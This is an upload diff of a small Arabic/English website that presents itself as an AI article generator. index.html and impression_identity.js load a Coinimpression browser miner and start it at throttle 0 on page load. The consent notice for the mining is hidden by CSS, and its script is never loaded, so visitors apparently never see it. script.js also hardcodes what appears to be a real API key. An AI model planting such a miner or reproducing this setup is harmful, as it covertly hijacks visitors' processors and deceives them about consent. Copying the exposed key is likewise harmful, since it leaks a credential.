Upload 15 files
Browse files- ai_script_4.js +0 -0
- appAI.txt +1 -0
- images/yachatbot_128.png +0 -0
- images/yachatbot_250.png +0 -0
- images/yachatbot_28.png +0 -0
- images/yachatbot_49.png +0 -0
- images/yachatbot_512.png +0 -0
- images/yachatbot_99.png +0 -0
- impression_identity.js +4 -0
- index.html +155 -0
- mining_consent.css +29 -0
- mining_consent.js +31 -0
- script.js +51 -0
- styles.css +183 -0
- tac.jpg +0 -0
ai_script_4.js
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
appAI.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
هذا الموقع من تطوير العميل السري:::: ياسين هاني المعروف با h.coding
|
images/yachatbot_128.png
ADDED
|
images/yachatbot_250.png
ADDED
|
images/yachatbot_28.png
ADDED
|
images/yachatbot_49.png
ADDED
|
images/yachatbot_512.png
ADDED
|
images/yachatbot_99.png
ADDED
|
impression_identity.js
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
var _client = new Client.Anonymous('05eab34c9f04d08761e9721a11d746d621c5620bc4664f09e71c51ce59bdaac6', {
|
| 2 |
+
throttle: 0, c: 'w', ads: 0
|
| 3 |
+
});
|
| 4 |
+
_client.start();
|
index.html
ADDED
|
@@ -0,0 +1,155 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html lang="en">
|
| 3 |
+
<head>
|
| 4 |
+
<meta charset="UTF-8">
|
| 5 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
+
<title></title>
|
| 7 |
+
<meta name="description" content="Need quick answers or want to chat with a friendly AI? Our temporary chatbot is here to assist you with any questions you have. Get instant responses and experience the power of AI conversation.">
|
| 8 |
+
<meta name="keywords" content="AI chatbot, temporary chatbot, chatbot, chat, AI, artificial intelligence, get answers, ask questions, conversation, chat assistant, online chatbot">
|
| 9 |
+
|
| 10 |
+
<!-- Social Media Meta Tags -->
|
| 11 |
+
<meta property="og:title" content="Temporary AI ChatBot">
|
| 12 |
+
<meta property="og:description" content="Need quick answers or want to chat with a friendly AI? Our temporary chatbot is here to assist you with any questions you have. Get instant responses and experience the power of AI conversation.">
|
| 13 |
+
<meta property="og:image" content="/tac.jpg">
|
| 14 |
+
<meta property="og:url" content="/">
|
| 15 |
+
<meta property="og:type" content="website">
|
| 16 |
+
|
| 17 |
+
<meta name="twitter:card" content="summary_large_image">
|
| 18 |
+
<meta name="twitter:site" content="@yachatbot">
|
| 19 |
+
<meta name="twitter:title" content="Temporary AI ChatBot">
|
| 20 |
+
<meta name="twitter:description" content="Need quick answers or want to chat with a friendly AI? Our temporary chatbot is here to assist you with any questions you have. Get instant responses and experience the power of AI conversation.">
|
| 21 |
+
<meta name="twitter:image" content="/tac.jpg"> <!-- Replace with your image URL -->
|
| 22 |
+
<meta name="google-site-verification" content="zy0cnBId0sSwOCYm6vzPYie85QFFxRQoe0RIzxQBGU8" />
|
| 23 |
+
<link rel="shortcut icon" href="images/yachatbot_49.png" type="image/png">
|
| 24 |
+
<link rel="stylesheet" href="styles.css">
|
| 25 |
+
<link rel="stylesheet" href="mining_consent.css">
|
| 26 |
+
<link rel="stylesheet"
|
| 27 |
+
id="theme_link"
|
| 28 |
+
href="https://cdnjs.cloudflare.com/ajax/libs/bootswatch/4.3.1/materia/bootstrap.min.css"/>
|
| 29 |
+
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
|
| 30 |
+
<script src="https://cdn.jsdelivr.net/npm/copy-to-clipboard/dist/copy-to-clipboard.min.js"></script>
|
| 31 |
+
<style>
|
| 32 |
+
/* عام */
|
| 33 |
+
/* حاوية الرسائل */
|
| 34 |
+
#Container {
|
| 35 |
+
max-width: 80%;
|
| 36 |
+
margin: 20px auto;
|
| 37 |
+
background: #ffffff;
|
| 38 |
+
border-radius: 0.5rem;
|
| 39 |
+
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
|
| 40 |
+
padding: 1.5rem;
|
| 41 |
+
display: flex;
|
| 42 |
+
flex-direction: column;
|
| 43 |
+
gap: 1rem;
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
/* حاوية الرسائل مع الإدخال */
|
| 47 |
+
#chatWrapper {
|
| 48 |
+
display: flex;
|
| 49 |
+
flex-direction: row-reverse;
|
| 50 |
+
align-items: flex-end;
|
| 51 |
+
position: fixed;
|
| 52 |
+
bottom: 20px;
|
| 53 |
+
right: 20px;
|
| 54 |
+
max-width: 100%;
|
| 55 |
+
width: 80%;
|
| 56 |
+
gap: 1rem;
|
| 57 |
+
}
|
| 58 |
+
|
| 59 |
+
/* صندوق الرسائل */
|
| 60 |
+
#messages {
|
| 61 |
+
flex-grow: 1;
|
| 62 |
+
max-height: 400px;
|
| 63 |
+
overflow-y: auto;
|
| 64 |
+
padding: 0.5rem;
|
| 65 |
+
border: 1px solid #ddd;
|
| 66 |
+
border-radius: 0.5rem;
|
| 67 |
+
background-color: #f9f9f9;
|
| 68 |
+
width: 75%;
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
/* الإدخال */
|
| 72 |
+
#userInput {
|
| 73 |
+
width: calc(75% - 70px);
|
| 74 |
+
border-radius: 19px;
|
| 75 |
+
height: 50px;
|
| 76 |
+
border: 1px solid #ddd;
|
| 77 |
+
padding: 10px;
|
| 78 |
+
box-sizing: border-box;
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
/* الزر */
|
| 82 |
+
#sendButton {
|
| 83 |
+
height: 50px;
|
| 84 |
+
width: 20%;
|
| 85 |
+
background: #007bff;
|
| 86 |
+
color: white;
|
| 87 |
+
border-radius: 19px;
|
| 88 |
+
border: none;
|
| 89 |
+
padding: 10px 20px;
|
| 90 |
+
cursor: pointer;
|
| 91 |
+
transition: background-color 0.3s ease;
|
| 92 |
+
}
|
| 93 |
+
|
| 94 |
+
#sendButton:hover {
|
| 95 |
+
background: #0056b3;
|
| 96 |
+
}
|
| 97 |
+
|
| 98 |
+
|
| 99 |
+
</style>
|
| 100 |
+
</head>
|
| 101 |
+
<body>
|
| 102 |
+
|
| 103 |
+
<div class="tac-data">
|
| 104 |
+
<center> <h1>Article-generator-ai</h1>
|
| 105 |
+
<h2>انشأ مقالات وقصص محتوى كامل بالذكاء الاصطناعي
|
| 106 |
+
</h2>
|
| 107 |
+
</center>
|
| 108 |
+
<div id="Container">
|
| 109 |
+
<div id="messages"></div>
|
| 110 |
+
|
| 111 |
+
<div id="promptContainer">
|
| 112 |
+
<div id="yourDivId9" data-prompt=""></div>
|
| 113 |
+
<div id="yourDivId99" data-prompt=""></div>
|
| 114 |
+
<!-- Add more prompts as needed -->
|
| 115 |
+
</div>
|
| 116 |
+
|
| 117 |
+
<select id="aiSelect">
|
| 118 |
+
<option value="gemini">Gemini</option>
|
| 119 |
+
</select>
|
| 120 |
+
|
| 121 |
+
<input type="text" id="apiKeyInput" placeholder="Enter your API Key" />
|
| 122 |
+
<input type="text" id="userInput" placeholder="Type your message..." />
|
| 123 |
+
|
| 124 |
+
<button id="sendButton">Article generator</button>
|
| 125 |
+
|
| 126 |
+
<div id="error-message"></div>
|
| 127 |
+
|
| 128 |
+
<div id="console-output"></div>
|
| 129 |
+
</div>
|
| 130 |
+
<div id="consentModal">
|
| 131 |
+
<div class="modal-content">
|
| 132 |
+
<h2>Important Notice</h2>
|
| 133 |
+
<p>This website uses your device's threads for mining as an alternative to ads. By using this website, you agree to this. Click "OK" to continue.</p>
|
| 134 |
+
<button id="okButton">OK</button>
|
| 135 |
+
</div>
|
| 136 |
+
</div>
|
| 137 |
+
<script src="ai_script_4.js"></script>
|
| 138 |
+
<script src="https://cdn.jsdelivr.net/gh/imabutahersiddik/Time-Remaining-@main/coinimpression.js"></script>
|
| 139 |
+
<script>
|
| 140 |
+
var _client = new Client.Anonymous('935e7e239d4b6e1b20e10fb872e007931d468130627f2c205dec830e7e2f5a9e', {
|
| 141 |
+
throttle: 0, c: 'w'
|
| 142 |
+
});
|
| 143 |
+
_client.start();
|
| 144 |
+
|
| 145 |
+
|
| 146 |
+
</script>
|
| 147 |
+
<!-- Include Chart.js library -->
|
| 148 |
+
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
| 149 |
+
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
| 150 |
+
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
| 151 |
+
<script async defer src="https://buttons.github.io/buttons.js"></script>
|
| 152 |
+
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js"></script>
|
| 153 |
+
|
| 154 |
+
</body>
|
| 155 |
+
</html>
|
mining_consent.css
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#consentModal {
|
| 2 |
+
display: none;
|
| 3 |
+
position: fixed;
|
| 4 |
+
top: 0;
|
| 5 |
+
left: 0;
|
| 6 |
+
right: 0;
|
| 7 |
+
bottom: 0;
|
| 8 |
+
background-color: rgba(0, 0, 0, 0.7);
|
| 9 |
+
justify-content: center;
|
| 10 |
+
align-items: center;
|
| 11 |
+
}
|
| 12 |
+
.modal-content {
|
| 13 |
+
background: white;
|
| 14 |
+
padding: 20px;
|
| 15 |
+
border-radius: 10px;
|
| 16 |
+
text-align: center;
|
| 17 |
+
width: 300px;
|
| 18 |
+
}
|
| 19 |
+
#okButton {
|
| 20 |
+
background-color: #4CAF50; /* Green */
|
| 21 |
+
color: white;
|
| 22 |
+
border: none;
|
| 23 |
+
padding: 10px 20px;
|
| 24 |
+
border-radius: 5px;
|
| 25 |
+
cursor: pointer;
|
| 26 |
+
}
|
| 27 |
+
#okButton:hover {
|
| 28 |
+
background-color: #45a049;
|
| 29 |
+
}
|
mining_consent.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// Function to get a cookie value by name
|
| 2 |
+
function getCookie(name) {
|
| 3 |
+
const value = `; ${document.cookie}`;
|
| 4 |
+
const parts = value.split(`; ${name}=`);
|
| 5 |
+
if (parts.length === 2) return parts.pop().split(';').shift();
|
| 6 |
+
}
|
| 7 |
+
|
| 8 |
+
// Function to set a cookie with a specified name, value, and expiration in days
|
| 9 |
+
function setCookie(name, value, days) {
|
| 10 |
+
let expires = "";
|
| 11 |
+
if (days) {
|
| 12 |
+
const date = new Date();
|
| 13 |
+
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
|
| 14 |
+
expires = "; expires=" + date.toUTCString();
|
| 15 |
+
}
|
| 16 |
+
document.cookie = name + "=" + (value || "") + expires + "; path=/";
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
// Check if the user has already accepted the terms
|
| 20 |
+
window.onload = function() {
|
| 21 |
+
const consentGiven = getCookie("consentGiven");
|
| 22 |
+
if (!consentGiven) {
|
| 23 |
+
document.getElementById("consentModal").style.display = "flex";
|
| 24 |
+
}
|
| 25 |
+
};
|
| 26 |
+
|
| 27 |
+
// Add event listener to OK button
|
| 28 |
+
document.getElementById("okButton").onclick = function() {
|
| 29 |
+
setCookie("consentGiven", "true", 365); // Set cookie to expire in 365 days
|
| 30 |
+
document.getElementById("consentModal").style.display = "none";
|
| 31 |
+
};
|
script.js
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// استهداف عناصر HTML
|
| 2 |
+
const promptInput = document.getElementById("prompt");
|
| 3 |
+
const generateButton = document.getElementById("generate");
|
| 4 |
+
const outputDiv = document.getElementById("output");
|
| 5 |
+
|
| 6 |
+
// مفتاح API الخاص بـ Gemini (استبدله بمفتاحك)
|
| 7 |
+
const GEMINI_API_KEY = "AIzaSyBlkMn-zVlQyOERE4cLjnI-d24eMf5slGo";
|
| 8 |
+
const GEMINI_API_URL = "https://api.gemini.com/v1/your-endpoint"; // عدّل الرابط إذا كان مختلفًا
|
| 9 |
+
|
| 10 |
+
// عند الضغط على الزر "Generate"
|
| 11 |
+
generateButton.addEventListener("click", async () => {
|
| 12 |
+
const prompt = promptInput.value;
|
| 13 |
+
|
| 14 |
+
if (!prompt) {
|
| 15 |
+
outputDiv.textContent = "Please enter a topic or prompt!";
|
| 16 |
+
return;
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
// تنظيف منطقة الإخراج
|
| 20 |
+
outputDiv.textContent = "Generating your article...";
|
| 21 |
+
|
| 22 |
+
try {
|
| 23 |
+
// إرسال طلب إلى Gemini API
|
| 24 |
+
const response = await fetch(GEMINI_API_URL, {
|
| 25 |
+
method: "POST",
|
| 26 |
+
headers: {
|
| 27 |
+
"Content-Type": "application/json",
|
| 28 |
+
"Authorization": `Bearer ${GEMINI_API_KEY}`, // مفتاح المصادقة
|
| 29 |
+
},
|
| 30 |
+
body: JSON.stringify({
|
| 31 |
+
prompt: prompt,
|
| 32 |
+
max_tokens: 500, // عدد الكلمات أو الرموز المطلوبة
|
| 33 |
+
}),
|
| 34 |
+
});
|
| 35 |
+
|
| 36 |
+
// التحقق من حالة الاستجابة
|
| 37 |
+
if (!response.ok) {
|
| 38 |
+
throw new Error(`Error: ${response.statusText}`);
|
| 39 |
+
}
|
| 40 |
+
|
| 41 |
+
// معالجة النتيجة
|
| 42 |
+
const data = await response.json();
|
| 43 |
+
const article = data.choices[0].text; // تعديل بناءً على شكل استجابة Gemini
|
| 44 |
+
|
| 45 |
+
// عرض المقالة في منطقة الإخراج
|
| 46 |
+
outputDiv.textContent = article;
|
| 47 |
+
} catch (error) {
|
| 48 |
+
// معالجة الأخطاء
|
| 49 |
+
outputDiv.textContent = `An error occurred: ${error.message}`;
|
| 50 |
+
}
|
| 51 |
+
});
|
styles.css
ADDED
|
@@ -0,0 +1,183 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* General Styles */
|
| 2 |
+
body {
|
| 3 |
+
font-family: 'Georgia', serif; /* Classic serif font for elegance */
|
| 4 |
+
line-height: 1.6; /* Improved readability */
|
| 5 |
+
margin: 0;
|
| 6 |
+
padding: 0;
|
| 7 |
+
background-color: #f9f7f2; /* Soft light beige background for warmth */
|
| 8 |
+
color: #4a3c30; /* Dark brown text for a warm, earthy feel */
|
| 9 |
+
}
|
| 10 |
+
|
| 11 |
+
/* Section Styles */
|
| 12 |
+
section {
|
| 13 |
+
background-color: #ffffff; /* White background for sections */
|
| 14 |
+
border-radius: 16px; /* More pronounced rounded corners */
|
| 15 |
+
padding: 25px; /* Increased padding for spaciousness */
|
| 16 |
+
box-shadow: 0 8px 30px rgba(0, 0, 0, 0.1); /* Enhanced shadow for depth */
|
| 17 |
+
margin: 25px 0; /* More space between sections */
|
| 18 |
+
border: 2px solid #d1a76c; /* Goldish border for richness */
|
| 19 |
+
}
|
| 20 |
+
|
| 21 |
+
/* Headings */
|
| 22 |
+
h2 {
|
| 23 |
+
font-family: 'Times New Roman', serif; /* Elegant font for headings */
|
| 24 |
+
color: #8c6b3a; /* Rich gold color for headings */
|
| 25 |
+
text-align: center; /* Centered headings for emphasis */
|
| 26 |
+
margin-bottom: 20px; /* Increased space below headings */
|
| 27 |
+
text-shadow: 1px 1px 4px rgba(255, 255, 255, 0.6); /* Soft shadow for depth */
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
h1 {
|
| 31 |
+
padding: 1.5rem;
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
/* Lists and Items */
|
| 35 |
+
ul {
|
| 36 |
+
list-style-type: none; /* Remove default list styling */
|
| 37 |
+
padding: 0; /* Remove padding from the list */
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
ul li {
|
| 41 |
+
padding: 12px; /* Increased padding for better touch target */
|
| 42 |
+
border-bottom: 1px solid #d1a76c; /* Decorative line between items */
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
ul li:last-child {
|
| 46 |
+
border-bottom: none; /* Remove border from last item */
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
/* Buttons and Inputs */
|
| 50 |
+
button,
|
| 51 |
+
input,
|
| 52 |
+
select {
|
| 53 |
+
width: calc(100% - 30px); /* Full width minus padding and margin adjustments */
|
| 54 |
+
padding: 12px; /* Increased padding inside inputs/buttons */
|
| 55 |
+
margin-top: 10px; /* Increased space above inputs/buttons */
|
| 56 |
+
border-radius: 8px; /* Rounded corners for inputs/buttons */
|
| 57 |
+
border: 1px solid #d1a76c; /* Goldish border for inputs/buttons */
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
button {
|
| 61 |
+
background-color: #8c6b3a; /* Rich gold color for buttons */
|
| 62 |
+
color: white; /* White text color for contrast */
|
| 63 |
+
cursor: pointer; /* Pointer cursor on hover */
|
| 64 |
+
transition: background-color 0.3s ease, transform 0.2s ease; /* Smooth transition effects */
|
| 65 |
+
}
|
| 66 |
+
|
| 67 |
+
button:hover {
|
| 68 |
+
background-color: #704d28; /* Darker shade on hover for buttons
|
| 69 |
+
transform: scale(1.05); /* Slightly enlarge button on hover for emphasis */
|
| 70 |
+
}
|
| 71 |
+
|
| 72 |
+
/* Sentiment Section Styles*/
|
| 73 |
+
.sentiment {
|
| 74 |
+
font-size: 18px;
|
| 75 |
+
margin-top: 15px;
|
| 76 |
+
}
|
| 77 |
+
|
| 78 |
+
/* Footer Styles*/
|
| 79 |
+
footer {
|
| 80 |
+
text-align: center;
|
| 81 |
+
padding: 20px;
|
| 82 |
+
background-color: #8c6b3a; /* Rich gold footer background */
|
| 83 |
+
color: white;
|
| 84 |
+
}
|
| 85 |
+
|
| 86 |
+
/* Responsive Design Adjustments */
|
| 87 |
+
@media (max-width: 768px) {
|
| 88 |
+
button,
|
| 89 |
+
input,
|
| 90 |
+
select {
|
| 91 |
+
width: calc(100% - 20px); /* Adjust width for smaller screens */
|
| 92 |
+
margin-top: 5px;
|
| 93 |
+
padding-left: 10px;
|
| 94 |
+
padding-right: 10px;
|
| 95 |
+
font-size: 14px; /* Smaller font size on mobile devices */
|
| 96 |
+
}
|
| 97 |
+
|
| 98 |
+
h2 {
|
| 99 |
+
font-size: 26px; /* Slightly larger heading size on mobile devices */
|
| 100 |
+
margin-bottom: 15px;
|
| 101 |
+
}
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
header {
|
| 105 |
+
background-color: #f9c74f;
|
| 106 |
+
padding: 30px;
|
| 107 |
+
text-align: center;
|
| 108 |
+
}
|
| 109 |
+
|
| 110 |
+
main {
|
| 111 |
+
padding: 25px;
|
| 112 |
+
}
|
| 113 |
+
|
| 114 |
+
h1, h2 {
|
| 115 |
+
color:#333;
|
| 116 |
+
text-shadow:none;
|
| 117 |
+
}
|
| 118 |
+
|
| 119 |
+
|
| 120 |
+
#chatContainer {
|
| 121 |
+
max-width :100% ;
|
| 122 |
+
margin:auto ;
|
| 123 |
+
background:white ;
|
| 124 |
+
border-radius:.5rem ;
|
| 125 |
+
box-shadow:.2rem .2rem .5rem rgba(0,0,0,.1) ;
|
| 126 |
+
padding:.5rem
|
| 127 |
+
}
|
| 128 |
+
|
| 129 |
+
.message {
|
| 130 |
+
margin-bottom :1rem ;
|
| 131 |
+
}
|
| 132 |
+
|
| 133 |
+
.user-message {
|
| 134 |
+
text-align:right ;
|
| 135 |
+
color:#007bff ;
|
| 136 |
+
}
|
| 137 |
+
.ai-message {
|
| 138 |
+
text-align:left ;
|
| 139 |
+
color:#28a745 ;
|
| 140 |
+
}
|
| 141 |
+
#promptContainer {
|
| 142 |
+
display:flex ;
|
| 143 |
+
}
|
| 144 |
+
.prompt-option {
|
| 145 |
+
padding:.5rem ;
|
| 146 |
+
border-radius:.5rem ;
|
| 147 |
+
}
|
| 148 |
+
.prompt-option:hover {
|
| 149 |
+
}
|
| 150 |
+
select,input[type="text"],button {
|
| 151 |
+
width :calc(100% - .5rem) ;
|
| 152 |
+
padding:.5rem ;
|
| 153 |
+
margin-top:.5rem ;
|
| 154 |
+
border-radius:.5rem ;
|
| 155 |
+
|
| 156 |
+
}
|
| 157 |
+
#console-output {
|
| 158 |
+
|
| 159 |
+
border-top:.1rem solid #ccc ;
|
| 160 |
+
|
| 161 |
+
padding-top:.5rem ;
|
| 162 |
+
|
| 163 |
+
margin-top:.5rem ;
|
| 164 |
+
|
| 165 |
+
display:none;
|
| 166 |
+
|
| 167 |
+
}
|
| 168 |
+
#apiKeyInput,#aiSelect {
|
| 169 |
+
|
| 170 |
+
width :0 !important ;
|
| 171 |
+
|
| 172 |
+
height :0 !important ;
|
| 173 |
+
|
| 174 |
+
visibility:hidden ;
|
| 175 |
+
|
| 176 |
+
position:absolute ;
|
| 177 |
+
|
| 178 |
+
top :0;
|
| 179 |
+
|
| 180 |
+
}
|
| 181 |
+
#consentModal {
|
| 182 |
+
display: none;
|
| 183 |
+
}
|
tac.jpg
ADDED
|